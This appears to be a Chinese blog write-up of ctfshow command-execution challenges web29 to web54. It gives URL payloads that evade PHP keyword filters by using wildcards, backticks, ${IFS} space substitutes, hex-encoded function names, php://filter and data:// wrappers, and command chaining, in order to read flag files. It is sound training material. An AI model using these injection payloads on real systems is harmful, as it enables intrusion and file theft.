ctfshow web入门 命令执行前篇(web29-web54)

目录

web29

web30

web31

web32

web33

web34-web36

web37

web38

web39

web40

web41

web42

web43

web44

web45

web46

web47

web48

web49

web50

web51

web52

web53

web54


web29

 
if(!preg_match("/flag/i", $c)){
    

在这一段代码,我们知道只过滤掉了flag而且不区分大小

所需知识点通配符

*可以匹配0或多个字符
?可以匹配任意一个字符
[abcd]  匹配abcd中任何一个字符
[a-z]   表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符

所以在这flag可以用f*或f???替代

所以这个题的payload

?c=system("cat f*.php")

也可以用cp命令

?c=system('cp fla?.php 1.txt')

再补充一下,另外绕过可以用引号,反斜杠

flag=fl\ag=fl''ag

web30

过滤掉了flag,system,php关键字

所需知识点反引号执行命令

因为过滤掉了system,我们就得选择其他的命令执行函数

最常用的无需echo

system()
passthru()

需用echo函数

反引号——``有system()的作用
exec()
shell_exec()

所以这个题的payload

?c=echo `cat f*`;

web31

 

这个题增加了一些过了,比较重要的cat和空格过滤掉了

cat过滤时,可以替代绕过的姿势

1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器

空格过滤时,可以替代绕过的姿势

1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09

所以这个题的payload

?c=echo(`more%09f*`);

再附上大佬们的payload

?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断
?c=echo`strings%09f*`;
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()。这个学到了!

然后另一个payload是hint,我感觉我是看不大懂原理,先放上,后期再学习

payload2

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web32

 

又过滤掉了好多大小

; ( echo ' `

payload

首先分号可以用?>代替,括号可以用“”绕过,利用文件包含的方式

?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

当然这里include也可换require

web33

可以直接用上一题的payload,但是需要去掉双引号,因为引号被过滤掉了

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

或者把include换成require

web34-web36

34题多过滤掉了:

35题多过滤掉了=<

36题过滤掉了数字,可以把1换为一个字母就可

都可以用上面两题的payload直接一把梭

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

web37

 

此时,这个地方为include($c),不是eval函数了,

过滤掉了flag,而且还进行了文件包含

这个题考点为伪协议

data协议

?c=data://text/plain,

可以执行,在这样data协议,data会把后面的数字,字符,字符串会作为php代码来执行

所以这个题的payload

?c=data://text/plain,

web38

在上一个题的基础上,又过滤掉了php和file

过滤姿势为短标签

依然可以用上一题的payload,不过需要将php改为=

php的短标签,

payload

?c=data://text/plain,

web39

 

过滤掉了flag,并且限制了后缀为php

问题不大,可以直接用前两题的payload,就可以得到flag

?c=data://text/plain,

web40

|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤掉了好多东西符号

首先就是看一下提示,hint给的一个payload为无参函数进行文件读取

?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 

可以得到flag

关于无参rce

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv()返回一包含本地数字及货币格式信息的数组。第一个是小数点。
pos()取得数组内容
scandir()查看该路径下的目录
array_reverse()数组逆转
next() 函数将内部指针指向数组中的下一个元素,并输出。
show_source()显示源码

web41

emmm,能力有限,看了羽大佬的wp也没看懂

以后再补

  

payload

=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }
​
}
}
fwrite($myfile,$contents);
fclose($myfile);

web42

 /dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

这个题主要的东西为>/dev/null 2>&1,它的作用为执行某个命令不会有任何输出

绕过方式:可以添加分号进行绕过,它会将分号后面的命令进行不再输出,但分号前可以正常使用

payload

?c=ls;ls
?c=cat flag.php;ls

web43

 /dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

在上一题的基础上,过滤掉了cat和分号

我们可以用&&符号进行绕过,或者||符号,特别注意&&符号要进行url编码

&&符号的意思为前一个命令执行成功后才执行后一个命令

payload:

?c=tac flag.php%26%26ls

web44

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

在上一题的基础是多过滤掉了flag,很简单的通配符绕过就好了

payload

?c=ls||ls
?c=tac fla?.php||ls

web45

 /dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

在上一题的基础又过滤掉了空格

我们可以直接绕过就好,再复习一下绕过空格的姿势

1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09

payload

?c=tac${IFS}fla?.php||ls

web46

 /dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

又多过滤掉了数字,$,*

我们可以直接使用上一题的payload就可以,不过过滤空格的姿势换为%09

比较特殊的地方,题目过滤掉了数字,我们这里还可以用%09,是因为,09解码以后不为数字

?c=tac%09fla?.php||ls

web47

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又多过滤掉了读取文件的姿势,但是还是丢下了几个姿势

tac,nl,vi,uniq

我们还是可以直接用上一题的payload一把梭了

?c=tac%09fla?.php||ls

web48

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

又过了掉了一些东西

依然用那个payload一把梭

?c=tac%09fla?.php||ls

web49

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这一题过了掉了反引号和百分号,但是依然可以使用之前的payload一把梭了

?c=tac&09fla?.php||ls

web50

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这个题过滤掉了&符号和09,而且不能用通配

所以我们可以这样

?c=tac

两个单引号可以分隔字符串,执行后会忽略

web51

同web50

?c=nl

web52

|\/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

通道符被过滤掉了,但是$被放出来了

payload

?c=nl${IFS}fla''g.php||ls

不过直接访问居然是假的flag

然后我们列一下根目录

?c=ls${IFS}/||ls

在根目录下发现了有一个flag

我们可以有两个方法

方法一直接读取

?c=nl${IFS}/fla?||ls

方法二复制文件或移动文件

?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
b.txt

web53

|\".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这个题有的返回值,system的返回值为:

正确返回最后一行,错误返回flase

然后那个黑洞去掉了我们可以直接写payload了

?c=ta''c${IFS}fla?.php

web54

 |\

过滤的特别多啊!!!

这个我们可以修改掉flag.php的名字,再访问

payload

?c=mv${IFS}fla?.php${IFS}t.txt
t.txt

学到了一个姿势,我们可以用mv修改掉flag文件的名字,再访问

未完待续~~~~~

你可能感兴趣的:(安全)